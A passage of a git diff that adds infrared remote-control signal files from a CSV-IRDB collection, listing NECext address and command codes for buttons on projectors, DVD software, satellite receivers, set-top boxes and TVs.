00 00 00 +command: 3F 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 56 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 63 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/3M/Video Projector/134,-1.ir b/assets/resources/infrared/_CSV-IRDB_/3M/Video Projector/134,-1.ir new file mode 100644 index 000000000..b6b559ac4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/3M/Video Projector/134,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: STANDBY/ON +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 00 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 05 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 05 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 08 00 00 00 +# +name: FOCUS_+ +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 15 00 00 00 +# +name: FOCUS_- +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 16 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 17 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 18 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 21 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 2A 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 30 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 31 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 32 00 00 00 +# +name: MAGNIFY +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 3F 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 56 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 63 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir new file mode 100644 index 000000000..0c9b38061 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: Screen +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: ChapMenu +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: Bright+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: Bright- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: RetourArr +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: AvanceRap +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: Chap- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: Chap+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 44 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 45 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 46 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 47 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ABS/SAT_8776/8,0.ir b/assets/resources/infrared/_CSV-IRDB_/ABS/SAT_8776/8,0.ir new file mode 100644 index 000000000..d1dd2a546 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ABS/SAT_8776/8,0.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: X_KEY_MUSIC +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ADA/Millenium/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/ADA/Millenium/27,-1.ir new file mode 100644 index 000000000..d935ff083 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ADA/Millenium/27,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TEST +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir b/assets/resources/infrared/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir new file mode 100644 index 000000000..2056e6f80 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: X_KEY_OPTIONS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: PPV +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 20 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 21 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 22 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 23 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ADB/Set Top Box/42,17.ir b/assets/resources/infrared/_CSV-IRDB_/ADB/Set Top Box/42,17.ir new file mode 100644 index 000000000..ad03ecfdc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ADB/Set Top Box/42,17.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 09 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 0C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 0F 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 20 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 21 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 22 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 23 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 24 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 25 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 26 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 28 00 00 00 +# +name: YELLOW_BUTTON +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 30 00 00 00 +# +name: BLUE_BUTTON +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 31 00 00 00 +# +name: APP +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 32 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 33 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 34 00 00 00 +# +name: FAV+ +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 35 00 00 00 +# +name: TELETEXT +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 36 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 40 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 41 00 00 00 +# +name: RED_BUTTON +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 42 00 00 00 +# +name: GREEN_BUTTON +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 43 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 44 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 45 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 50 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 51 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 52 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 53 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 2A 11 00 00 +command: 54 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir new file mode 100644 index 000000000..bf25e0b11 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: Jump +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: T/S +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: Input +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir new file mode 100644 index 000000000..722a805fd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: X_KEY_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: X_KEY_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: X_KEY_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0F 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: LIVE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 16 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 17 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1F 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 40 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 44 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 46 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 48 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4D 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4E 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4F 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 50 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 51 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 52 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 53 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 54 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 55 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 56 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 57 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 58 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 59 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5C 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir new file mode 100644 index 000000000..63a76b299 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1C 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: 